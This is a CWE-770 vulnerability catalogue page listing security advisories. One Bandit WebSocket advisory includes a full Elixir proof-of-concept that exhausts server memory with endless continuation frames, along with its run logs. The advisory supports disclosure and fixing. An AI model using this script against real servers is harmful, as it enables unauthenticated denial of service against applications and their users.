CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3049 vulnerabilities reference this CWE, most recent first.
GHSA-PCG3-64VV-W6JF
Vulnerability from github – Published: 2024-12-02 15:31 – Updated: 2024-12-03 18:31rizin before Release v0.6.3 is vulnerable to Uncontrolled Resource Consumption via bin_pe_parse_imports, Pe_r_bin_pe_parse_var, and estimate_slide.
{
"affected": [],
"aliases": [
"CVE-2024-31669"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-02T15:15:11Z",
"severity": "HIGH"
},
"details": "rizin before Release v0.6.3 is vulnerable to Uncontrolled Resource Consumption via bin_pe_parse_imports, Pe_r_bin_pe_parse_var, and estimate_slide.",
"id": "GHSA-pcg3-64vv-w6jf",
"modified": "2024-12-03T18:31:03Z",
"published": "2024-12-02T15:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31669"
},
{
"type": "WEB",
"url": "https://github.com/rizinorg/rizin/commit/e42999dda0be7737fafaf5e63c1c5833a72fd9c9"
},
{
"type": "WEB",
"url": "https://gist.github.com/Crispy-fried-chicken/fb9f7000f0517a085483f7f2a60f0f08"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PCP6-PXXR-G2VH
Vulnerability from github – Published: 2025-02-28 15:31 – Updated: 2025-02-28 15:31Application does not limit the number or frequency of user interactions, such as the number of incoming requests. At the "/EPMUI/VfManager.asmx/ChangePassword" endpoint it is possible to perform a brute force attack on the current password in use.
This issue affects CyberArk Endpoint Privilege Manager in SaaS version 24.7.1. The status of other versions is unknown. After multiple attempts to contact the vendor we did not receive any answer.
{
"affected": [],
"aliases": [
"CVE-2025-22273"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-28T13:15:27Z",
"severity": "CRITICAL"
},
"details": "Application does not limit the number or frequency of user interactions, such as the number of incoming requests. At the \"/EPMUI/VfManager.asmx/ChangePassword\" endpoint it is possible to perform a brute force attack on the current password in use.\n\n\nThis issue affects\u00a0CyberArk Endpoint Privilege Manager in SaaS version 24.7.1. The status of other versions is unknown.\u00a0After multiple attempts to contact the vendor we did not receive any answer.",
"id": "GHSA-pcp6-pxxr-g2vh",
"modified": "2025-02-28T15:31:03Z",
"published": "2025-02-28T15:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22273"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2025/02/CVE-2025-22270"
},
{
"type": "WEB",
"url": "https://cert.pl/posts/2025/02/CVE-2025-22270"
},
{
"type": "WEB",
"url": "https://docs.cyberark.com/epm/24.7.1/en/content/resources/_topnav/cc_home.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PCPP-X8WX-R3PJ
Vulnerability from github – Published: 2022-07-02 00:00 – Updated: 2022-07-13 00:01TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the url parameter in the function FUN_00418540.
{
"affected": [],
"aliases": [
"CVE-2022-32049"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-01T18:15:00Z",
"severity": "HIGH"
},
"details": "TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the url parameter in the function FUN_00418540.",
"id": "GHSA-pcpp-x8wx-r3pj",
"modified": "2022-07-13T00:01:52Z",
"published": "2022-07-02T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32049"
},
{
"type": "WEB",
"url": "https://github.com/d1tto/IoT-vuln/tree/main/Totolink/T6-v2/7.setUrlFilterRules"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PF78-3FRQ-V82V
Vulnerability from github – Published: 2026-06-15 18:31 – Updated: 2026-06-15 18:31Mattermost Desktop App versions <=6.1 5.5.13.0 fail to account for attempting to open extremely long URLs in the Mattermost Desktop App which allows a malicious server owner to crash the application via including a script to call window.open on a very large URL. Mattermost Advisory ID: MMSA-2026-00652
{
"affected": [],
"aliases": [
"CVE-2026-8683"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-15T16:16:34Z",
"severity": "MODERATE"
},
"details": "Mattermost Desktop App versions \u003c=6.1 5.5.13.0 fail to account for attempting to open extremely long URLs in the Mattermost Desktop App which allows a malicious server owner to crash the application via including a script to call window.open on a very large URL. Mattermost Advisory ID: MMSA-2026-00652",
"id": "GHSA-pf78-3frq-v82v",
"modified": "2026-06-15T18:31:19Z",
"published": "2026-06-15T18:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8683"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PF94-94M9-536P
Vulnerability from github – Published: 2026-05-07 03:43 – Updated: 2026-05-07 03:43Summary
A single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every Continuation{fin: false} frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting fin=1) grows BEAM heap linearly until the OS or a supervisor kills the process. max_frame_size only bounds individual frames; there is no max_message_size option available today.
Details
The bug is in lib/bandit/websocket/connection.ex, in the fragment branch of handle_frame/3 (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as [connection.fragment_frame.data | frame.data] with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When fin=1 finally arrives (if ever), IO.iodata_to_binary/1 flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send fin=1 — simply holding the connection open is enough to pin the bytes.
Suggested fix: track a running cumulative byte count on the connection state and add a configurable max_message_size. When exceeded, terminate the connection with RFC 6455 close code 1009 (:max_message_size_exceeded) instead of continuing to append.
PoC
A self-contained reproduction script is below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial WebSock echo handler, completes a WebSocket handshake, sends one text frame with fin=0, then streams up to 4096 continuation frames of 1 MiB each — also fin=0. A background sampler logs :erlang.memory(:total) every 250 ms.
A correctly-fixed server would close the connection with code 1009 once max_message_size is exceeded.
Impact
Unauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host.
Affected by default. No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over WebSock on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at /live. Plug apps that mount any custom WebSock handler are equally affected. Applications that expose no WebSocket endpoints are not.
The exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens before WebSock.handle_in/2 is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit.
Script and Logs
# Bandit WebSocket fragmented-message accumulation PoC.
#
# lib/bandit/websocket/connection.ex:80-95 appends every incoming
# Continuation{fin: false} frame's payload to connection.fragment_frame.data
# as iodata, with no cumulative cap. `max_frame_size` only bounds *each*
# frame; a peer that streams an unbounded number of max-sized continuations
# without ever setting fin=1 grows the iolist linearly in BEAM memory until
# the OS kills the process. The eventual IO.iodata_to_binary/1 in the
# fin=true branch also momentarily doubles peak memory.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket,
# sends one text frame with fin=0 followed by a continuous stream of
# continuation frames (also fin=0), and samples BEAM memory while doing so.
# A correct server would close the connection with 1009 once a configured
# max-message-size is exceeded; the buggy server keeps growing.
#
# Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs
Mix.install([
{:bandit, "~> 1.10"},
{:plug, "~> 1.19"},
{:websock_adapter, "~> 0.5"}
])
defmodule EchoSocket do
@behaviour WebSock
def init(_opts), do: {:ok, %{}}
def handle_in(_message, state), do: {:ok, state}
def handle_info(_message, state), do: {:ok, state}
def terminate(_reason, state), do: {:ok, state}
end
defmodule DemoApp do
@behaviour Plug
def init(opts), do: opts
def call(conn, _opts) do
conn
|> WebSockAdapter.upgrade(EchoSocket, %{}, [])
|> Plug.Conn.halt()
end
end
defmodule FragmentFlood do
@port 4321
@fragment_payload_bytes 1 * 1024 * 1024
@fragment_count 4096
@sample_every_ms 250
def run do
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)
sock = ws_handshake!()
sampler_pid = spawn_link(&sample_memory_loop/0)
payload_chunk = :binary.copy(<<0x41>>, @fragment_payload_bytes)
starting_text_frame = build_frame(0x1, _fin = false, payload_chunk)
continuation_frame = build_frame(0x0, _fin = false, payload_chunk)
log("Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).")
:ok = :gen_tcp.send(sock, starting_text_frame)
log("Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_bytes} bytes each).")
Enum.each(1..@fragment_count, fn index ->
case :gen_tcp.send(sock, continuation_frame) do
:ok ->
if rem(index, 64) == 0 do
log("Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragment_payload_bytes, 1024 * 1024)} MiB accumulated).")
end
{:error, reason} ->
log("Server closed connection after #{index} continuations: #{inspect(reason)}")
throw(:server_closed)
end
end)
log("Finished sending. Never sent fin=1 — server should still be holding the iolist.")
Process.sleep(2_000)
Process.unlink(sampler_pid)
Process.exit(sampler_pid, :kill)
:gen_tcp.close(sock)
log("Done.")
catch
:server_closed -> log("Server appears to enforce a cap — bug not present or mitigated.")
end
defp ws_handshake! do
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()
:ok =
:gen_tcp.send(sock, """
GET / HTTP/1.1\r
Host: 127.0.0.1\r
Upgrade: websocket\r
Connection: Upgrade\r
Sec-WebSocket-Key: #{ws_key}\r
Sec-WebSocket-Version: 13\r
\r
""")
{:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
if not (response =~ "101 Switching Protocols"), do: raise("WebSocket handshake failed:\n#{response}")
log("Handshake complete.")
sock
end
# Build a single masked WebSocket frame. fin controls bit 0 of byte 0;
# opcode is the low nibble. Client→server frames must be masked per RFC 6455.
defp build_frame(opcode, fin, payload) do
fin_bit = if fin, do: 1, else: 0
mask = :crypto.strong_rand_bytes(4)
payload_size = byte_size(payload)
mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
masked_payload = :crypto.exor(payload, mask_stream)
length_bytes =
cond do
payload_size <= 125 -> <<1::1, payload_size::7>>
payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
true -> <<1::1, 127::7, payload_size::64>>
end
<<fin_bit::1, 0::3, opcode::4, length_bytes::binary, mask::binary, masked_payload::binary>>
end
defp sample_memory_loop do
log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
Process.sleep(@sample_every_ms)
sample_memory_loop()
end
defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end
FragmentFlood.run()
13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[11:04:30.812] Handshake complete.
[11:04:30.815] [mem] BEAM total = 49 MiB
[11:04:30.823] Sending start text frame (fin=0, 1048576 bytes).
[11:04:30.824] Streaming 4096 continuation frames (fin=0, 1048576 bytes each).
[11:04:30.940] Sent 64/4096 continuations (~64 MiB accumulated).
[11:04:31.055] Sent 128/4096 continuations (~128 MiB accumulated).
[11:04:31.065] [mem] BEAM total = 185 MiB
[11:04:31.169] Sent 192/4096 continuations (~192 MiB accumulated).
[11:04:31.285] Sent 256/4096 continuations (~256 MiB accumulated).
[11:04:31.316] [mem] BEAM total = 322 MiB
[11:04:31.404] Sent 320/4096 continuations (~320 MiB accumulated).
[11:04:31.518] Sent 384/4096 continuations (~384 MiB accumulated).
[11:04:31.567] [mem] BEAM total = 463 MiB
[11:04:31.633] Sent 448/4096 continuations (~448 MiB accumulated).
[11:04:31.747] Sent 512/4096 continuations (~512 MiB accumulated).
[11:04:31.818] [mem] BEAM total = 602 MiB
[11:04:31.866] Sent 576/4096 continuations (~576 MiB accumulated).
[11:04:31.979] Sent 640/4096 continuations (~640 MiB accumulated).
[11:04:32.069] [mem] BEAM total = 743 MiB
[11:04:32.091] Sent 704/4096 continuations (~704 MiB accumulated).
[11:04:32.199] Sent 768/4096 continuations (~768 MiB accumulated).
[11:04:32.306] Sent 832/4096 continuations (~832 MiB accumulated).
[11:04:32.320] [mem] BEAM total = 887 MiB
[11:04:32.420] Sent 896/4096 continuations (~896 MiB accumulated).
[11:04:32.530] Sent 960/4096 continuations (~960 MiB accumulated).
[11:04:32.571] [mem] BEAM total = 1034 MiB
[11:04:32.640] Sent 1024/4096 continuations (~1024 MiB accumulated).
[11:04:32.751] Sent 1088/4096 continuations (~1088 MiB accumulated).
[11:04:32.822] [mem] BEAM total = 1179 MiB
[11:04:32.866] Sent 1152/4096 continuations (~1152 MiB accumulated).
[11:04:32.977] Sent 1216/4096 continuations (~1216 MiB accumulated).
[11:04:33.073] [mem] BEAM total = 1323 MiB
[11:04:33.087] Sent 1280/4096 continuations (~1280 MiB accumulated).
[11:04:33.200] Sent 1344/4096 continuations (~1344 MiB accumulated).
[11:04:33.309] Sent 1408/4096 continuations (~1408 MiB accumulated).
[11:04:33.324] [mem] BEAM total = 1466 MiB
[11:04:33.421] Sent 1472/4096 continuations (~1472 MiB accumulated).
[11:04:33.533] Sent 1536/4096 continuations (~1536 MiB accumulated).
[11:04:33.575] [mem] BEAM total = 1608 MiB
[11:04:33.643] Sent 1600/4096 continuations (~1600 MiB accumulated).
[11:04:33.751] Sent 1664/4096 continuations (~1664 MiB accumulated).
[11:04:33.826] [mem] BEAM total = 1758 MiB
[11:04:33.860] Sent 1728/4096 continuations (~1728 MiB accumulated).
[11:04:33.972] Sent 1792/4096 continuations (~1792 MiB accumulated).
[11:04:34.077] [mem] BEAM total = 1901 MiB
[11:04:34.083] Sent 1856/4096 continuations (~1856 MiB accumulated).
[11:04:34.192] Sent 1920/4096 continuations (~1920 MiB accumulated).
[11:04:34.305] Sent 1984/4096 continuations (~1984 MiB accumulated).
[11:04:34.328] [mem] BEAM total = 2048 MiB
[11:04:34.417] Sent 2048/4096 continuations (~2048 MiB accumulated).
[11:04:34.528] Sent 2112/4096 continuations (~2112 MiB accumulated).
[11:04:34.579] [mem] BEAM total = 2191 MiB
[11:04:34.644] Sent 2176/4096 continuations (~2176 MiB accumulated).
[11:04:34.751] Sent 2240/4096 continuations (~2240 MiB accumulated).
[11:04:34.830] [mem] BEAM total = 2342 MiB
[11:04:34.863] Sent 2304/4096 continuations (~2304 MiB accumulated).
[11:04:34.974] Sent 2368/4096 continuations (~2368 MiB accumulated).
[11:04:35.081] [mem] BEAM total = 2480 MiB
[11:04:35.088] Sent 2432/4096 continuations (~2432 MiB accumulated).
[11:04:35.202] Sent 2496/4096 continuations (~2496 MiB accumulated).
[11:04:35.316] Sent 2560/4096 continuations (~2560 MiB accumulated).
[11:04:35.332] [mem] BEAM total = 2620 MiB
[11:04:35.430] Sent 2624/4096 continuations (~2624 MiB accumulated).
[11:04:35.545] Sent 2688/4096 continuations (~2688 MiB accumulated).
[11:04:35.583] [mem] BEAM total = 2760 MiB
[11:04:35.660] Sent 2752/4096 continuations (~2752 MiB accumulated).
[11:04:35.776] Sent 2816/4096 continuations (~2816 MiB accumulated).
[11:04:35.834] [mem] BEAM total = 2903 MiB
[11:04:35.890] Sent 2880/4096 continuations (~2880 MiB accumulated).
[11:04:36.000] Sent 2944/4096 continuations (~2944 MiB accumulated).
[11:04:36.085] [mem] BEAM total = 3045 MiB
[11:04:36.110] Sent 3008/4096 continuations (~3008 MiB accumulated).
[11:04:36.225] Sent 3072/4096 continuations (~3072 MiB accumulated).
[11:04:36.336] [mem] BEAM total = 3184 MiB
[11:04:36.343] Sent 3136/4096 continuations (~3136 MiB accumulated).
[11:04:36.462] Sent 3200/4096 continuations (~3200 MiB accumulated).
[11:04:36.580] Sent 3264/4096 continuations (~3264 MiB accumulated).
[11:04:36.587] [mem] BEAM total = 3332 MiB
[11:04:36.691] Sent 3328/4096 continuations (~3328 MiB accumulated).
[11:04:36.806] Sent 3392/4096 continuations (~3392 MiB accumulated).
[11:04:36.838] [mem] BEAM total = 3463 MiB
[11:04:36.927] Sent 3456/4096 continuations (~3456 MiB accumulated).
[11:04:37.041] Sent 3520/4096 continuations (~3520 MiB accumulated).
[11:04:37.089] [mem] BEAM total = 3610 MiB
[11:04:37.157] Sent 3584/4096 continuations (~3584 MiB accumulated).
[11:04:37.273] Sent 3648/4096 continuations (~3648 MiB accumulated).
[11:04:37.340] [mem] BEAM total = 3735 MiB
[11:04:37.389] Sent 3712/4096 continuations (~3712 MiB accumulated).
[11:04:37.504] Sent 3776/4096 continuations (~3776 MiB accumulated).
[11:04:37.591] [mem] BEAM total = 3878 MiB
[11:04:37.629] Sent 3840/4096 continuations (~3840 MiB accumulated).
[11:04:37.745] Sent 3904/4096 continuations (~3904 MiB accumulated).
[11:04:37.842] [mem] BEAM total = 4012 MiB
[11:04:37.862] Sent 3968/4096 continuations (~3968 MiB accumulated).
[11:04:37.982] Sent 4032/4096 continuations (~4032 MiB accumulated).
[11:04:38.093] [mem] BEAM total = 4142 MiB
[11:04:38.105] Sent 4096/4096 continuations (~4096 MiB accumulated).
[11:04:38.105] Finished sending. Never sent fin=1 — server should still be holding the iolist.
[11:04:38.344] [mem] BEAM total = 4149 MiB
[11:04:38.596] [mem] BEAM total = 4149 MiB
[11:04:38.847] [mem] BEAM total = 4149 MiB
[11:04:39.098] [mem] BEAM total = 4149 MiB
[11:04:39.349] [mem] BEAM total = 4149 MiB
[11:04:39.600] [mem] BEAM total = 4149 MiB
[11:04:39.851] [mem] BEAM total = 4149 MiB
[11:04:40.102] [mem] BEAM total = 4149 MiB
[11:04:40.106] Done.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "bandit"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42786"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T03:43:45Z",
"nvd_published_at": "2026-05-01T21:16:17Z",
"severity": "HIGH"
},
"details": "### Summary\nA single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every `Continuation{fin: false}` frame\u0027s payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting `fin=1`) grows BEAM heap linearly until the OS or a supervisor kills the process. `max_frame_size` only bounds individual frames; there is no `max_message_size` option available today.\n\n### Details\nThe bug is in `lib/bandit/websocket/connection.ex`, in the fragment branch of `handle_frame/3` (around lines 80\u201395). When a non-final continuation arrives, Bandit builds the next accumulator as `[connection.fragment_frame.data | frame.data]` with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When `fin=1` finally arrives (if ever), `IO.iodata_to_binary/1` flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send `fin=1` \u2014 simply holding the connection open is enough to pin the bytes.\n\n**Suggested fix:** track a running cumulative byte count on the connection state and add a configurable `max_message_size`. When exceeded, terminate the connection with RFC 6455 close code 1009 (`:max_message_size_exceeded`) instead of continuing to append.\n\n### PoC\nA self-contained reproduction script is below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial `WebSock` echo handler, completes a WebSocket handshake, sends one text frame with `fin=0`, then streams up to 4096 continuation frames of 1 MiB each \u2014 also `fin=0`. A background sampler logs `:erlang.memory(:total)` every 250 ms.\n\nA correctly-fixed server would close the connection with code 1009 once `max_message_size` is exceeded.\n\n### Impact\nUnauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host.\n\n**Affected by default.** No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over `WebSock` on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections \u2014 including the LiveView socket that almost every Phoenix 1.7+ app mounts at `/live`. Plug apps that mount any custom `WebSock` handler are equally affected. Applications that expose no WebSocket endpoints are not.\n\nThe exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either \u2014 the accumulation happens *before* `WebSock.handle_in/2` is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit.\n\n### Script and Logs\n\n```elixir\n# Bandit WebSocket fragmented-message accumulation PoC.\n#\n# lib/bandit/websocket/connection.ex:80-95 appends every incoming\n# Continuation{fin: false} frame\u0027s payload to connection.fragment_frame.data\n# as iodata, with no cumulative cap. `max_frame_size` only bounds *each*\n# frame; a peer that streams an unbounded number of max-sized continuations\n# without ever setting fin=1 grows the iolist linearly in BEAM memory until\n# the OS kills the process. The eventual IO.iodata_to_binary/1 in the\n# fin=true branch also momentarily doubles peak memory.\n#\n# This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket,\n# sends one text frame with fin=0 followed by a continuous stream of\n# continuation frames (also fin=0), and samples BEAM memory while doing so.\n# A correct server would close the connection with 1009 once a configured\n# max-message-size is exceeded; the buggy server keeps growing.\n#\n# Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs\n\nMix.install([\n {:bandit, \"~\u003e 1.10\"},\n {:plug, \"~\u003e 1.19\"},\n {:websock_adapter, \"~\u003e 0.5\"}\n])\n\ndefmodule EchoSocket do\n @behaviour WebSock\n\n def init(_opts), do: {:ok, %{}}\n def handle_in(_message, state), do: {:ok, state}\n def handle_info(_message, state), do: {:ok, state}\n def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n @behaviour Plug\n def init(opts), do: opts\n\n def call(conn, _opts) do\n conn\n |\u003e WebSockAdapter.upgrade(EchoSocket, %{}, [])\n |\u003e Plug.Conn.halt()\n end\nend\n\ndefmodule FragmentFlood do\n @port 4321\n @fragment_payload_bytes 1 * 1024 * 1024\n @fragment_count 4096\n @sample_every_ms 250\n\n def run do\n {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n sock = ws_handshake!()\n sampler_pid = spawn_link(\u0026sample_memory_loop/0)\n\n payload_chunk = :binary.copy(\u003c\u003c0x41\u003e\u003e, @fragment_payload_bytes)\n starting_text_frame = build_frame(0x1, _fin = false, payload_chunk)\n continuation_frame = build_frame(0x0, _fin = false, payload_chunk)\n\n log(\"Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).\")\n :ok = :gen_tcp.send(sock, starting_text_frame)\n\n log(\"Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_bytes} bytes each).\")\n Enum.each(1..@fragment_count, fn index -\u003e\n case :gen_tcp.send(sock, continuation_frame) do\n :ok -\u003e\n if rem(index, 64) == 0 do\n log(\"Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragment_payload_bytes, 1024 * 1024)} MiB accumulated).\")\n end\n\n {:error, reason} -\u003e\n log(\"Server closed connection after #{index} continuations: #{inspect(reason)}\")\n throw(:server_closed)\n end\n end)\n\n log(\"Finished sending. Never sent fin=1 \u2014 server should still be holding the iolist.\")\n Process.sleep(2_000)\n\n Process.unlink(sampler_pid)\n Process.exit(sampler_pid, :kill)\n :gen_tcp.close(sock)\n log(\"Done.\")\n catch\n :server_closed -\u003e log(\"Server appears to enforce a cap \u2014 bug not present or mitigated.\")\n end\n\n defp ws_handshake! do\n {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n ws_key = :crypto.strong_rand_bytes(16) |\u003e Base.encode64()\n\n :ok =\n :gen_tcp.send(sock, \"\"\"\n GET / HTTP/1.1\\r\n Host: 127.0.0.1\\r\n Upgrade: websocket\\r\n Connection: Upgrade\\r\n Sec-WebSocket-Key: #{ws_key}\\r\n Sec-WebSocket-Version: 13\\r\n \\r\n \"\"\")\n\n {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n if not (response =~ \"101 Switching Protocols\"), do: raise(\"WebSocket handshake failed:\\n#{response}\")\n log(\"Handshake complete.\")\n sock\n end\n\n # Build a single masked WebSocket frame. fin controls bit 0 of byte 0;\n # opcode is the low nibble. Client\u2192server frames must be masked per RFC 6455.\n defp build_frame(opcode, fin, payload) do\n fin_bit = if fin, do: 1, else: 0\n mask = :crypto.strong_rand_bytes(4)\n payload_size = byte_size(payload)\n mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n masked_payload = :crypto.exor(payload, mask_stream)\n\n length_bytes =\n cond do\n payload_size \u003c= 125 -\u003e \u003c\u003c1::1, payload_size::7\u003e\u003e\n payload_size \u003c= 0xFFFF -\u003e \u003c\u003c1::1, 126::7, payload_size::16\u003e\u003e\n true -\u003e \u003c\u003c1::1, 127::7, payload_size::64\u003e\u003e\n end\n\n \u003c\u003cfin_bit::1, 0::3, opcode::4, length_bytes::binary, mask::binary, masked_payload::binary\u003e\u003e\n end\n\n defp sample_memory_loop do\n log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n Process.sleep(@sample_every_ms)\n sample_memory_loop()\n end\n\n defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nFragmentFlood.run()\n```\n\n```logs\n13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[11:04:30.812] Handshake complete.\n[11:04:30.815] [mem] BEAM total = 49 MiB\n[11:04:30.823] Sending start text frame (fin=0, 1048576 bytes).\n[11:04:30.824] Streaming 4096 continuation frames (fin=0, 1048576 bytes each).\n[11:04:30.940] Sent 64/4096 continuations (~64 MiB accumulated).\n[11:04:31.055] Sent 128/4096 continuations (~128 MiB accumulated).\n[11:04:31.065] [mem] BEAM total = 185 MiB\n[11:04:31.169] Sent 192/4096 continuations (~192 MiB accumulated).\n[11:04:31.285] Sent 256/4096 continuations (~256 MiB accumulated).\n[11:04:31.316] [mem] BEAM total = 322 MiB\n[11:04:31.404] Sent 320/4096 continuations (~320 MiB accumulated).\n[11:04:31.518] Sent 384/4096 continuations (~384 MiB accumulated).\n[11:04:31.567] [mem] BEAM total = 463 MiB\n[11:04:31.633] Sent 448/4096 continuations (~448 MiB accumulated).\n[11:04:31.747] Sent 512/4096 continuations (~512 MiB accumulated).\n[11:04:31.818] [mem] BEAM total = 602 MiB\n[11:04:31.866] Sent 576/4096 continuations (~576 MiB accumulated).\n[11:04:31.979] Sent 640/4096 continuations (~640 MiB accumulated).\n[11:04:32.069] [mem] BEAM total = 743 MiB\n[11:04:32.091] Sent 704/4096 continuations (~704 MiB accumulated).\n[11:04:32.199] Sent 768/4096 continuations (~768 MiB accumulated).\n[11:04:32.306] Sent 832/4096 continuations (~832 MiB accumulated).\n[11:04:32.320] [mem] BEAM total = 887 MiB\n[11:04:32.420] Sent 896/4096 continuations (~896 MiB accumulated).\n[11:04:32.530] Sent 960/4096 continuations (~960 MiB accumulated).\n[11:04:32.571] [mem] BEAM total = 1034 MiB\n[11:04:32.640] Sent 1024/4096 continuations (~1024 MiB accumulated).\n[11:04:32.751] Sent 1088/4096 continuations (~1088 MiB accumulated).\n[11:04:32.822] [mem] BEAM total = 1179 MiB\n[11:04:32.866] Sent 1152/4096 continuations (~1152 MiB accumulated).\n[11:04:32.977] Sent 1216/4096 continuations (~1216 MiB accumulated).\n[11:04:33.073] [mem] BEAM total = 1323 MiB\n[11:04:33.087] Sent 1280/4096 continuations (~1280 MiB accumulated).\n[11:04:33.200] Sent 1344/4096 continuations (~1344 MiB accumulated).\n[11:04:33.309] Sent 1408/4096 continuations (~1408 MiB accumulated).\n[11:04:33.324] [mem] BEAM total = 1466 MiB\n[11:04:33.421] Sent 1472/4096 continuations (~1472 MiB accumulated).\n[11:04:33.533] Sent 1536/4096 continuations (~1536 MiB accumulated).\n[11:04:33.575] [mem] BEAM total = 1608 MiB\n[11:04:33.643] Sent 1600/4096 continuations (~1600 MiB 